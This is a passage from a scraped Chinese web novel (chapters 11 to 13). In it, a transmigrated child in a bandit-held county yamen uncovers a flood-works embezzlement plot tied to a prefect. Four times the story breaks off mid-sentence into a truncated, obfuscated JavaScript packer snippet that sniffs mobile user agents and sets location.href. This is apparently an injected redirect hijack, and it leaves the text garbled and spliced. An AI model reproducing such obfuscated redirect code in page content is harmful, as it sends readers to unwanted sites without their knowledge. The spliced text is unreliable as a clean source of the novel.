l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415061|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这……”施且随赶紧摆手,“我与贵当家合作在先,双方不该有所隐瞒,他既不在,那就有劳姑娘旁证,日后施某也好交代。” 常青:“……周到。”她重新坐了回去,背挺直了稍许,不像刚刚散漫无度。 “纪小姐,你可知你父母往哪里去了?”施且随怕个小孩子听不懂弯弯绕绕,张口便问,不搞虚的。 “去搬救兵了吧,”纪木棉理直气壮,一点不怵,“阿娘猜出有土匪要绑架我们,又说土匪冲进县衙是谋反,砍头的大罪……县老爷,你也犯了砍头的大罪!” 她知道自己身处劣势,本不应该刺激施且随,利用外表装成柔弱无辜的小女孩,让周围人放松警惕才有逃脱的机会,但纪木棉已经察觉此事另有蹊跷,与其做梦能倒腾软绵绵的小短腿从乱局之中逃出去,不如直面问题,死也不至于稀里糊涂的死。 施且随被她说得一愣,片刻之后才苦笑道,“我也不过是知其不可为而为之……” “姜太师要去府里搬救兵吗?” “那我不知道了,”纪木棉想了想,“你们设埋伏也休想抓到人!我阿娘可聪明了,会绕开的!” “会绕开?”施且随悄声重复了一遍,眉宇之间的忧虑竟然稍有缓解。 纪木棉从小寄人篱下,“观脸色行事”可谓炉火纯青,后来迈上社会,也是凭此绝学在办公室政治中两面不得罪,施且随这点变化自然逃不开她的双眼。 “什么意思啊,施县令不想姜祈去歧州府里搬救兵?!”纪木棉脑子里那些飘荡的棉花好像忽然之间被一只大手絮了起来,她不做声地想,“歧州府的救兵跟别处的有什么不同?!” 救兵之间当然没什么不同,区别只在身份上。 东梓县隶属歧州府辖下,凡事都受州府管控,京城派遣下来的黜陟使若不低调行事,接触不到这偏远小县的县令,何况大崇胤佑年间也就是前朝,黜陟使已成空职,官员的升迁和贬斥更多仰仗于朝中举荐,因此有殿试三甲当上数十年小官小吏也在情理之中。 施且随跟州府打得交道已经够多,他就像是瓮中之鳖,被人死死按着,有什么原因让他急需一个传声筒,将外面的人引来东梓县,打破这口大瓮,而姜祈的身份作此用再好不过。 紧接着,纪木棉又意识到封琅出现在县衙后院并非巧合,而是一招“打草惊蛇”,为的就是让姜祈明白县衙内有眼线,从而心生提防,担心去州府的路上有埋伏,转而寻求邻县邻府的帮助……换成别人兴许不行,但姜祈身为当朝太师,大权在握,此番又是山匪占领县衙此等祸乱一方、悖逆造反的大事。 “施且随从一开始就想让姜祈逃脱?”纪木棉自死过一次后落下个毛病,容易头发紧,像是钢筋还插在原处,搅得慌,但是不疼。 她又想,“怪不得……怪不得只有四个人沿河搜寻,那他刚刚的反应……” 施且随跟大当家说话时,曾震惊于一个人的跑路,之前纪木棉猜测此人是“姜祈”,眼下看来又并非是他,那还能是谁呢?! 钢筋又在脑子里搅得慌,纪木棉忽然开始想念穿越之前安安稳稳的小半生,她还没做好准备卷进这样一个乱世中,权势滔天之人拿她的命不当命,另有所图之人拿她的命也不当命。 施县令刚救火回来没多久,身上还充斥着烟尘气,有些呛人,他自己估计也吸进去不少灰烬,这会儿功夫已经咳了好几声,嗓子都哑了。 纪木棉神色复杂地看向他,“县令老爷,火势这么大,外面死人了嘛?” 施且随的咳嗽声戛然而止。 11. 第 11 章 水火无情,就算事先有所准备,为了能让土匪们趁乱混进县衙,他并没有提前通知街坊,而火势并不完全由人掌控,他和大当家都没想到烟气会这么大,几乎将半个县城都笼罩其中,等火焰熄灭清点损失,才发现有个瞎眼老妪慌乱中找不到门路,被熏死在家中。 这位老妪姓方,儿子本是县衙衙役,因病去世,只留老母一人在世,早年间施且随还曾答应他多加照拂,逢年过节经常接到府中吃饭,而方老夫人也会带点鸭蛋或腌鱼回礼。 见施且随不说话,神色黯然,常青也意识到了什么,她是个冷心冷情的人,大多时候将生死看得很轻,开口只道:“施县令,为大局计。” “我知道。”施且随给纪木棉的印象一直是典型的读书人,斯文随和,有时候咸吃萝卜淡操心,拖泥带水不太果断,然而此刻却拟枭雄,他只是伤心,并未动摇,甚至还苦笑了一声,赞赏纪木棉,“小姑娘聪明,真是会戳人软肋。” “过奖了。”纪木棉也丝毫没有收敛,没有再缩回“七岁小姑娘”这个保护壳中,她指了指常青,又道,“常姐姐的二当家说会保护我,无论发生何事我都能安全离开,想必施县令不这么认为。” “你们把我抓回来肯定另有用处,而这个用处恐怕连二当家都不知道。” 既然是要放姜祈离开,那作势要抓就可以了,不必真的捞个人上来,如果抓到纪木棉属于计划之外,是弄巧成拙,那牵来的马又该如何解释…… 那匹马上搭着干净外袍、水囊还有捆人的麻绳,纪木棉刚被打捞上来确认无事立刻架上了马,反应时间都没有,就连进衙门的路线都有提前规划,可见抓人也非全是做戏。 施且随打量着眼前的小姑娘,他与其接触不多,只在太师口中得知小姑娘出生时不太顺利,落了病根,需要多加照顾,如今看来不过是谦词,又感慨京城不愧是京城,遍地都是经天纬地之才,朝廷没见好,倒似个斗兽场,得多么如履薄冰,才能让个未满十岁的孩子如此见微知著。 施且随叹了口气,忽然起身一撩官袍,半跪在纪木棉身前,“我知道自己所犯是滔天大罪,罪无可恕,但求姑娘……”他这番话很显然不是特地为纪木棉准备,所以面对眼前的小姑娘,他有些赧然,顿了顿才继续道,“求姑娘想办法救救无辜之人。” 倘若纪木棉展现出来的只是个懵懂小孩,施且随不会也不敢将性命相托,然而就他观察,这小丫头冷静又稳重,脑筋也不差,此举固然冒险,但值得托付。 纪木棉长这么大还从没受过如此折寿的大礼,她有些慌,宁可背过身去也没有立刻答应施且随,更不敢伸手去扶,怕施县令顺水推舟——她到现在还没掂量清楚自己的分量,没摆正自己的位置,原书中连死亡都只占了半行字的小姑娘,有什么能耐救旁人于水火。 何况施且随托付之事远非“打印个文件”这么简单,今日哪怕姜祈在场,都未必能点头应允。 尽管有些撑着了,纪木棉还是想再啃两口能噎死人的白面馒头,她感觉自己虚飘在空中,得用五谷杂粮一碗井水才能摁回踏实的地面上。 施县令也是个犟种,纪木棉不说话他就一直跪着,两相僵持,最后还是纪木棉先开口道,“施大人,我刚刚吃饱喝足,被禁足屋中没别处可去,能跟你耗几个时辰甚至几天没有问题,而你没别的事做了吗?” 话锋一转,纪木棉又道:“这么大的决定且容我想想,你硬逼也没有用。” 兴许是魂穿的原因,保留了书里书外两个人的记忆,纪木棉总感觉自己某些方面无师自通,譬如说话越来越文绉绉,再譬如紧张时候的一些小动作——这会儿功夫,她都快把衣袂搓破了,另外还有情感上的迟钝,心理上的豁达,年龄上的任性…… 吃饱了自然而然就犯困,前一秒她还头皮发麻,深知自己此番是羊入虎口,必须严阵以待,后一秒就想“多大点事,我脑子里都穿钢筋了,天塌下来大不了再穿一次,先睡觉”。 施且随并不确定太师家小姐说这话算不算是松口,一炷香的时间下来,他心里是越来越急,还不好继续催促,千钧重担压在一个娃娃身上着实不太道德,施且随不是君子,他不久前才烧了地害死了人,礼义廉耻早抛在一边顾不上了,但是求人的准则是不能咄咄相逼,他思量片刻,终究还是站起身来。 “希望姑娘能尽早给我一个答复,”施且随语气平静,只是在陈述事实,“如若不出所料,十日内我这衙门就会被团团围住甚至攻破,到那时姑娘的承诺也就没价值了。” “然后呢,你杀了我?”纪木棉眯着眼睛问,看起来是少年英才高深莫测,实则就是困了睁不开。 “杀你干什么,你不是这个用处。”施且随闷声笑了笑,“你能长大比死在这里好……二当家不是答应会让你平安离开吗?” 门吱嘎一声,整个县衙都有点年久失修的意思,从窗户到门没有静音的,纪木棉已经大头朝下栽在桌子上睡大觉了,小孩子不太做梦,只隐隐感觉自己往空中漂浮过一阵,再睁眼时,县衙院中已经重新热闹起来。 卧房门窗紧闭,外面声响被挡去不少,纪木棉一边蛄蛹一边往四周看了看,她已经被人搬到了床上,常青不在,看守她的人换成了阮红梅。 院中动静跟之前的大不一样,之前更多是人声,这一觉醒来就变成了搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415062|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重物的叮铃哐啷,要不是大崇朝关于火器的记载很少很少,这小小县城绝不可能搞到,纪木棉都怀疑这是在组装大炮。 阮红梅在床边点头,她一夜没睡,纪木棉这里又是个隔绝糟乱的“世外桃源”,前两个时辰还顶得住,随着时间推移,她也打起了瞌睡。 不过阮红梅是练武之人,她随身带两把环首短刀,刀身约有一尺,刀柄用红绳缠绕,红绳颜色老旧,看上去已经用了很久,由此可见这刀是好刀,质量太差砍人的时候容易卷刃,不是好刀用不了这么久。 练武之人警惕性高,纪木棉轻手轻脚刚准备从床上爬起来,阮红梅便倏然睁开了眼睛,脸上的困倦也迅速褪去,等她开口时已经半点看不出睡意,“你可算醒了,还有哪里不舒服吗?” 纪木棉眨眨眼睛,除了头有点疼,其它地方感觉良好,遂摇头,“没有……我睡了多久,好饿啊。” “睡?!”阮红梅瞪大了眼睛,“你高烧不退,都烧晕过去啦!哇,这孩子真是心大。” 纪木棉:“……”她松了口气,太好了,原来之前脑子里搅得慌是发烧不是表现太差,要将自己从书中踹出去,把钢筋插回来啊! “你昏迷快两天了,我去给你弄点吃的,你一个人别乱跑。”阮红梅说着,提起桌子上的水壶,从中倒出一碗酱油色的药,“把这也喝了,你都不知道搞这点药有多难。” 怪不得,纪木棉刚才就觉得这屋里有股中药味,还以为是从外面传进来的。 随即纪木棉的心又大跳了一下,“两天?!”两天,正是施且随给出的期限,这就像昨天刚上高中今天就被推进了高考考场,中间的学习过程呢,思考余地呢,辗转反侧呢,纠结痛苦呢?! 怎么书里写个“两天后”,这日子还真能这么过吗?纪木棉简直想提笔写个“半年后”,将所有糟心事全都换成走马灯。 她咬牙切齿一顿后,又吐出一口气,安慰自己不能这么想,小木棉的身体本来就虚弱,当日从水里被湿漉漉捞上来她就觉得大事不太妙,全靠肾上腺素吊着,不大病一场不科学,她所处的世界摸得着看得见,人也鲜活,脸上有血色,皮肤有弹性,不是可供修改的文字几个。 何况日子还是得一天一天地过才觉命长,她死过一次了,不嫌命长。 想着想着心被撑宽,开始直面问题……纪木棉从小喝药就不让人费心,她把药端过来头一仰,两口喝个精光,随后一抹嘴巴,将碗敲在桌子上,豪情万丈,“把施且随给我叫过来!” “可以是可以,那你还吃饭吗?”阮红梅问。 “吃……”纪木棉瞬间泄气,委屈巴巴,“饿死了。” 12. 第 12 章 施且随作为一县之长,按道理来说每天都要处理日常事务,凡有懈怠就会被上官问责,而东梓县衙已经两天不“开张”了,谁家丢了东西遭了贼抢或者发生口角大打出手,都没个地方可以讨公道,正常早就被人看出了端倪。 好在两天前那场大火掩盖了许多事情,距县衙最近的几条街都被清空,只在不久前允许居民回来清点了一下财产,带走些必需品,再由施且随出面张贴公告称“大火虽灭,但有不少建筑后墙遭受烘烤,存在倒塌危险,等一一查验没有问题后,便可自行归家。” 另外施且随在行动之前,就对衙役进行了清理,嘴巴严实但有顾虑不想牵扯其中的,要么外派去了乡里,要么提前半月就发了薪俸,另谋出路;嘴巴不严实,名声不太好,很有可能出问题的则跟彭千里一样,被捆起来,暂时押在柴房中,剩下全是些心腹。 能被称为“心腹”的人实在不多,火灾中不太够用,土匪们冒充了一部分,浓烟滚滚,人人狼狈,即便都是些邻里街坊,脸上糊二两灰慌乱之下也难以辨清相貌。 凡此种种,东梓县从外面看来平静的很,除了两天前那场火灾,仿佛什么事都没发生。 纪书灵站在宅院门口,望着县衙方向。 这座宅院位于五里庄——与县城相邻的一个小庄子上,宅院修得富丽堂皇,周遭基本没什么人家,全是田、河跟山。主人家野心颇大,几乎要将后头那座两三百米的山纳入自家后花园。奈何山虽矮,占地却大,最终只是将一侧门开在山脚阶梯下。 院子里死过不少人,血迹没过各个角落,已经干涸许久,表面都黏上了一层灰尘,周围仍是有股铁腥气隐隐浮动,甚至在借用这块地之前,官府的封条还贴在门窗上。 这座宅院就是之前遭土匪洗劫过的员外家,地方大,位置好,受血案影响,周围人影绝迹,建筑质量也高,寻常人家里铺的砖遭马匹车辙碾压几次,会很快断裂下陷,更甚者铺不起砖,把个泥地踩得凹凸不平,此处却一点不受影响,后院还有一扇单独的门用于马车进出,专门的马槽用于饲养骏马。 马匹在大崇受到管制,能在民间进行买卖的大多是老弱病残,即便如此价格依然很高,能载人冲锋陷阵,不畏刀兵的战马根本不流通,两者界限清楚,不易搞混。 但大户人家拉车,一些娱乐活动譬如打马球,狩猎……都需要马,因此介于两者之间还有普通骏马的买卖,这种买卖门槛极高且不在坊间流通,观此宅院的马槽,至少养有五匹马,槽中余下的饲料早已发霉半腐,仍看得出十分精细。纪书灵在有半亩地安身的情况下,不赊账都吃不了这么好的。 种种迹象表明主家的身份很不简单,姜祈暗中遣人做了些调查,发现户主是位“庄”姓官员,字贫生,歧州府东梓县人,官虽不小,在本朝庞大冗余的官僚体系中也谈不上多大,是个五品,供职西南盐铁署,与河道相关联,负责调度和转运各项修筑所需的石头、木材以及黄沙。 此项工程干涉巨大,责任不小,庄大人只是参与其中一个环节,他上面有人下面有人,左右也全是人。 庄贫生在八年前告老还乡,他已近耳顺,请辞文书上写“常年卧病,身体大不如前”,后来仵作验尸也证实庄贫生“骨脆”,不能下地走动。 到了他这个年纪,腿脚不好本属正常,可仵作还在他体内发现了一种慢性毒药,此毒名为“凋敝”,猎人用的多,涂在弓箭或砍刀上,只要造成擦伤就能立刻让猎物瘫软在地,等一两日后,又恢复如常,因此又叫“碰着瘫。” 此毒若是经口服,毒性会大为降低,连续几日下毒都不会产生明显影响,就算中毒半年,只要发现后进行医治,便有恢复的可能。严重到庄贫生这种程度,至少要持续中毒一年以上,除了“骨脆”之外,庄贫生的脑子应该也受到了一定影响,嗜睡,糊涂,容易受人摆布。 因此听乡亲们说庄员外虽家大业大,却没几个仆役伺候,他家里人多,从老大排下来,直排到老十三,“老大都快五十了,最小的那个还不到八岁,造孽哟……老爷子年纪大了犯糊涂,孩子跟她娘被安排住在三里外的窝棚里也没人管,土匪抄家,倒是因此躲过去了。” “庄员外说是一家之主,其实上下都听大公子和二公子的,他们就是怕下人多嘴或者骗庄员外的钱?不好说……总之不让人靠近老头子,丫鬟和小厮都是签了卖身契的,怎么处置官府都插不了手,这两位又成天疑神疑鬼,下人们的住处挨着马棚,跟主院隔开,大概是破的可怜,也没遭土匪。” “大户人家出灭门的事,谁不想打听打听啊,正好我三姑的儿子在衙门当差,这些都是他说的,” 倒是说得仔细,直接被人带到姜祈面前又重复了一遍,庄稼汉领了二两银子,欢天喜地回家去了。 乍一下纪书灵还觉得这老人挺可怜,又是中毒又是不肖子孙…… 但仔细想想他生了这么多孩子都不同娘,六十几糟老头还觍着脸娶十几二十岁的小姑娘,院子建这么大更是不知道贪了多少钱,自己跟绵绵起早贪黑吃不饱穿不暖,绵绵体质弱,隔三差五要生病吃苦,都是拜这种人所赐,刚被人设模板压出来的无底线善良立马崩损。 她心想,“人死在院子哪一片了,让我多踩两脚。” 随即她又变得忧心忡忡……绵绵的病需要静养,看着好像恢复了许多,实际身子骨还是虚,脸色也不好,逃命的时候自然是什么都顾不上,闷头就是跑,之后回想,纪书灵总觉得与其让绵绵呛烟下水,不如直接把她放在花厅里,跟眼下形势也没什么不同。 只要自己保着姜祈能跑掉,之后上门讨人,言辞强横,不许绵绵有一丝半点的损伤,再给对方一点甜头,让他们有活下去的希望,不至于变成亡命徒,还怕有人敢为难绵绵吗? 这个道理想通得太晚,无端让绵绵吃了些苦。 姜祈从前厅中出来时,正看到纪书灵微微蹙眉的模样……诗为魂画作骨,姿容柔弱身世飘摇,仿佛一阵风来就能将她吹散了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415063|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>分明还是当年的模样,姜祈看不出哪里变了,直到走近她,纪书灵将挨在门框上的身体撑直,微微往后退开半步,姜祈才看到七八年的时光在彼此之间划出的鸿沟。 纪书灵垂目,并不看向他,只问,“商量的如何了,明日劝降可以带我去吗?” 前厅里聚集的都是官吏,说不上话的都能沾个九品,门窗紧闭,重兵把守,纪书灵一介布衣,又是个女子,再怎么忧心如焚也得留在外面等,防止“泄密”。 姜祈习以为常,只抛下一句“放心吧,在这儿等我”就算完,把纪书灵气得够呛,恨自己年少不学武,打不进去,否则在座各位一人吃她一巴掌,姜祈更是连打带踹。 “这里没有人比我更了解东梓县的情况,没有人比我更清楚县衙结构……连你都不行,你一直在县衙花厅里呆着,门都不能出。”纪书灵据理力争,“我虽不懂排兵布阵,但‘泄密’?你们各怀鬼胎相互算计,还要将此罪名安在我身上?” 只顾着欣赏诗词化人的美,差点忘了诗词也能写来骂人,能骂的人颜面无光,遗臭万年。 “先不说这个,”姜祈开口就是纪书灵不爱听的,“这段时间你总是在为那孩子操心,我也着急解决东梓县的匪患,都没有好好叙过旧。眼下事情安排妥当,我们虽占据主动,但东梓县毕竟是土匪的地头,不怕一万就怕万一……行动前你就没什么想和我说的?” 纪书灵:“……” 说什么?说我了解东梓县,在这里生活了足足七年,东梓县也是我的地头你不听;说我了解县衙地形,冲进去能少走冤枉路,尽快控制场面,你也不听,那还能说什么?! 纪书灵刚要冷笑,说出口的却是轻柔一句,“你的风寒好些了没有?” 随话音落下,她心底也莫名其妙淌出一股柔情,生命里天地间仿佛只剩下姜祈,有姜祈在,便觉得安心,其它什么都不重要。 “等等!绵绵很重要,我被他气半死这件事也很重要。”纪书灵不经意间又把人设模板撞得粉碎,随着次数越来越多,这模板似乎越来越脆。 “咳咳……”姜祈倒是见坡就下,刚问他风寒好些没有,他紧接着就咳嗽起来,“我还以为你不关心呢。” 纪书灵:“……” 她幽幽叹了口气,“姜太师经这一遭都身染风寒,也不知绵绵挺不挺得住。” 姜祈单独面对纪木棉其实没什么感觉,他官场沉浮多年,心胸宽广,同僚们罗织罪状上疏弹劾并非一两次,士大夫之间的斗争更是从无停歇,饶是如此,姜祈对他们当中几位仍然大为欣赏,甚至暗中提拔,又怎么会跟个毫无利益冲突的小娃娃计较。 但……就是计较,姜祈也说不出为什么,只要纪书灵提起这孩子,他就愤恨、质疑、痛苦,哪怕夜深人静时审视内心,也有七八分怀疑纪木棉是自己的亲生骨肉,只要面对纪书灵,他就恨不得那孩子夭折。 譬如现在,姜祈控制不住阴沉沉地想,“趁乱杀了那孽种就好了。” 13. 第 13 章 县衙门内,“孽种”活得还挺好,施且随百忙之中来找她,初见时连衣服褶皱都要撑平的读书人也不知多久没睡觉了,双眼通红眼下乌青,发髻都有些散乱。 纪木棉又接连灌下两碗药汤,由从未露面的“军师”开方煎制,据说是有不同功效,病气有没有去一点,暂时还感觉不到,总之先灌了个水饱。阮红梅又给端进来一碗臊子面,大概是土匪们知道自己有今天没明天,吃的方面是一点不将就,面条香的很,纪木棉的肚子撑了个浑圆。 她昏迷这段时间就喂进去一点米汤吊命,连药都是吃了吐再喂再吐,眼看像是要死了,阮红梅都得撕一张纸搭在她鼻子上面,防止什么时候不呼吸了没发现,就这么挨了两日居然能醒过来,一醒过来能吃能喝,除了身体虚弱下不了床,脸色苍白像吊死鬼之外,其他方面倒是很有生命力。 施且随盯着纪木棉嗦面,他没想到这孩子如此能活,一副撸袖大干的模样,像是杀穿了阎王殿杀回来的,颇有气势,将他都震得一愣。 面吃完了,纪木棉又让锁上门窗,这才道,“施大人,你是不是跟州府有矛盾?如果有,我能问清楚这矛盾跟我们村有关系吗?” 纪木棉已经将七岁离魂小女孩的记忆搜刮干净,她知道半山腰的村子叫“荣庄”,一共有十六户,其中三户有田,田亩分散,也并不肥沃,辛勤耕作勉强饿不死。从小木棉有记忆开始,经常能吃到百家饭,今日是野菜团,明日是抄杂菌,阿娘下山买货卖货可以放心将她寄养在别人家,几乎没吃过什么亏。 当然村里也有无赖,心肠歹毒的很,几年间数次半夜翻窗要占纪书灵甚至是小木棉的便宜,最终被纪书灵设计打断了腿,因这人在村里横行霸道,父母皆被他虐待而死,腿断之后嚷嚷要报官奈何力不从心,又没人帮他,活活给饿死了。 小木棉被村里孩子漫山遍野拉着玩儿时,曾路过这无赖的家,长辈们都叮嘱过不能靠太近,朋友们一哄而散,她脚程略慢,隐隐听见里头有说话的动静,说的什么已经不记得了,只记得那家院子里拴着匹马,还有个带恐怖面具的人…… 小木棉长这么大没见过马,加上那张恐怖面具……她以为是什么怪物,吓得回家就发了低烧,她还不太会说话,纪书灵到现在都不知道这病从何来。 刚开始几天,小木棉的病还不算太重,能坐能走,喂药会咽,没两天村子里就传那无赖死了,因要上报销户,衙门里陆陆续续来了好几波人,其中包括施且随……现在想想,城里死个员外都未必需要县令亲自到场。 兴许是闯进村子的陌生人太多,懵懂失魂的小木棉又受了惊,病情持续加重,最后卧床不起奄奄一息……直到几千年后的纪木棉被钢筋贯穿了脑袋,魂魄无所依凭,穿越而来。 将这些边边角角的记忆都归拢起来之后,纪木棉又想起原书中提起歧州府府理陈谦和辅事彭千里,是因“识破辖下通敌卖国之举,详加奏报,勉力破敌,扶狂澜于既倒……”,类似巴拉巴拉一堆功绩,调任的京城。 眼下这个形势,施县令不过是和土匪们同仇敌忾,顶多算谋反,哪里有卖国,卖国在哪里?难不成除了施县令这番壮举之外,短短几个月里,这歧州府还有其它“辖下”大逆不道? 出反贼的速度如此频繁,陈谦作为上官不担失职之责已是开恩,还能升迁? 除非这里面有栽赃嫁祸的情节……既然施县令自己跳了出来,那干脆所有的事都推在他一个人身上,灭口之后还怕具尸体说话不成? 可施且随做了十几年的县令,安分守己,州府这些“赢则鸡犬升天,输则枭首示众”的栽赃嫁祸,怎么会在此时此刻挑中施且随?有什么必要此时此刻挑中施且随? 纪木棉瞬间想到两件足以撼动东梓县甚至歧州府的事情——贪官灭门,太师“南巡”! 这两件事都发生在近期,与荣庄无赖家出现马匹继而死亡连成一线,其中必有关联。 时间紧迫,纪木棉也有身在漩涡之中,既要求生,又要为小木棉报仇的自觉,所以她不打算继续绕弯子,上来就戳穿了施且随的疑虑。 “施大人,我娘讲长嘴是为了说话,要会喊疼会喊饿……要会喊冤。” 纪木棉稚嫩的嗓音听起来多少有些不太靠谱,但她就是撑足了气势,让小姑娘无能为力的瘦弱身躯看起来真像根定海神针,仿佛只要她应下,施且随就再无后顾之忧。 施且随盯着她看了许久,刚开始纪木棉表现出远超年纪的聪慧,他只觉得姜家不愧是书香门第,小小年纪便教得明事理懂人情,至眼下,施且随终于察觉到了一丝不对,这么小个孩子再灵秀也有限,怎么会知道州府的事。 施县令做事拖泥带水不果断,纪木棉早有领教,看他一脸狐疑不坦率,就知道关键时刻,施大人还在担心些有的没的,问他点东西跟要了他老命差不多……纪木棉环视四周想找个顺手的“武器”,看来看去还是药碗结实,她端起来重重砸了一下,声音巨大如同惊堂木,砸得施且随瞬间回神。 “抱歉。”施且随顶多是觉得孩子太过早慧,像是混过官场,倒不至于防范纪木棉。他还没开口说正事,房间窗户突然被一掌拍开,阮红梅大半个身子探进来小声道,“施大人,你有事求人就别吞吞吐吐的了。” 又道,“姜太师带来的人马驻扎在庄外,那贪官的府上……”这话是冲纪木棉说的,怕她不知道具体方位,阮红梅还伸手指了指,“你要是能脱身就往东边直走,遇到你爹娘就安全了。” “另外州府人马比我们想像中来得快,”这话则是冲着施且随,“已经距离县城不到六里,我们派出去的探子回报说左臂虽绑有麻布条,但结不对,怀疑有诈。” 说完,阮红梅又将窗户关上,里面的木栓被拍坏了,她尝试三次都留缝,还是施县令走过去用茶壶顶住才算完。 纪木棉:“……”一个风风火火,一个温温吞吞,也不知道怎么达成的合作。 施且随刚将茶壶放下,他背对着纪木棉,“你知道盐铁署吗?” 纪木棉还真知道,历史传奇剧里最容易出事的部门就是盐铁署,管得太多太宽,银子吞吐量太大,从上到下但凡能挣钱的东西都得从他们手里过一遍,关键是这部门人还多。 大崇朝早几十年还好,官吏选拔严苛,随着时间推移,系统冗余,尾大不掉,世家子弟就算是个不学无术的纨绔,都能在盐铁署谋上一官半职,品级可能都论不上,但在老百姓眼里,大小是个人物。白到手的官位不值得珍惜,庸碌无能吃干饭都算省心的,没脑子大贪特贪的也不在少数,反正背后有个不错的姓氏,不把天捅破了,就兜得住。 纪木棉以前还觉得大崇朝特有的这种“官员流水线”挺有意思,年少有为能升迁者好好培养,暗中助力,没什么出息的也能安安稳稳干上十几二十年,至于“惹祸精”“大硕鼠”们短时间就会调任它处,不在一个地方长呆,由此可见位高权重者也很清楚什么是烂泥扶不上墙,不能委以重任,也防止后续闯出大祸。 所以大崇看着千疮百孔,官吏制度乱七八糟,短时间内还不至于崩溃。 “庄贫生……也就是之前被灭门的员外,归乡前在盐铁署中供职,并有十几年时间派驻歧州府。以歧州府为中心的三江流域受干旱和洪涝影响巨大,自我大崇建国起,每年都要治理河道,防洪抗旱。” 施且随原本有些担心纪木棉年幼,未必能听懂官场中的弯弯绕绕言外之意,因此语速减缓,起个“我说慢点,咬字清楚,她就能消化吸收”的心理作用,结果纪木棉不领情,她眯着眼睛,“然后呢?两者有关联?” 施且随:“……” 被这么一催,他没生气,反而安心了许多,继续道,“庄贫生驻派歧州府期间,现任歧州府府理陈谦陈大人为水部参事,前者负责石料、铁矿的开采, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418372|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁器的冶炼,黄沙和木材的转运,后者在汛期之前就要储备大量砖石、木材、黄沙和粮食,汛期之后河道疏浚还要用到大量铁器,筑临时围堰,修导流渠……这里面的人力调动还暂且不提。” “陈谦作为水部参事,主负责账目明细,连河工们每日的吃穿用度所费银两,全都要经他的手……” “即便如此,也不能确定庄员外所贪银两和陈谦有关系啊,他又不是一辈子只跟陈谦打交道,万一是伸手从别处捞的呢?”纪木棉严谨。 “庄贫生在盐铁署三十四年,外驻十八年,与水部参事陈谦断断续续重合了六年,这六年间歧州府年年遭遇水患,甚至因为决堤改道,东梓县才划归歧州府辖下。” 施且随对此事颇有怨言,说到此处咬了下牙,“水患本就难治,决堤也属正常,可这六年里降雨量并不平均,有多有少,通通防不住,堤坝就像纸糊的,要么凿开口子泄洪,否则就是决堤,河道上的官都砍了好几轮仍是不见效。” “……”纪木棉刚开始还有点费解,这些人肯定都知道堤坝用料有问题,命都要丢了,为何不喊冤,后来一想……不相互攀咬肯定是因为死后还有利益连接,陈谦做事想必稳当,给前人的好处足够多,威胁足够大,才能让后人也死心塌地。 这歧州府河道上下,俨然一体。 “事情的转机出现在庄贫生调离歧州府之前半年,出乎意料的,陈谦提议将汛期之前所囤物资全部翻倍,囤资翻倍,用银自然增加,陈谦先向朝廷奏报,所批银两不够,他又贴上自己全部身家——自然,这个身家在他官俸之内。补齐物资之后,又加固堤坝,疏浚河道,做了多处引流。” “是年虽也有决堤现象发生,却没有完全垮塌,受灾面积、造成的损失都远低于往年,”施且随叹了口气,“陈谦因此升任歧州府府理。” 纪木棉:“……” 那可真是太巧了啊,巧到纪木棉也不再怀疑——这位庄员外跟陈谦绝对有勾连,甚至交情匪浅。 先挣了钱,等一方全身而退后才开始挣名,不但交情厚,也看得出陈谦做事的确妥帖,别人跟着他贪是真的能放心贪。 “施大人,陈谦今年几岁啊?” 兴许是受小木棉身体的影响,涉及上官,形势复杂到可谓大难临头,纪木棉还不忘挂念她聪明漂亮,才认识没多久的娘。原书中说陈谦对纪书灵那是一见钟情多番追求,被个心机深沉、贪污犯罪的五六十岁糟老头子惦记上,有点太闹心了。 施且随跟纪木棉大眼瞪小眼,见小姑娘眼神坚定,片刻后他才支吾着开口,“四十出头吧,具体我也不清楚。” “四十更闹心了,年纪大我还能伸腿绊死他。”纪木棉将脑子清理出一块,想着怎么替她娘斩掉这朵烂桃花,又道,“所以州府前脚刚收到姜祈……姜太师……咳咳……我爹‘南巡’的消息,后脚庄员外就被抄家灭门,陈谦怕这两件事之间有所关联,又怕你这位地方官知道些什么,所以绝不会放过你?” 庄贫生毕竟是在东梓县丢了性命,万贯家财被搬运一空,施且随牵扯其中可以理解,但还是不关荣庄的事啊?为什么土匪会在荣庄周围出现,原书中荣庄又为何鸡犬不留? 施且随“啊?”了一声,他还停留在“四十闹心,伸腿绊死”之类的粗鄙之语中,过一会儿才反应了过来点了点头。 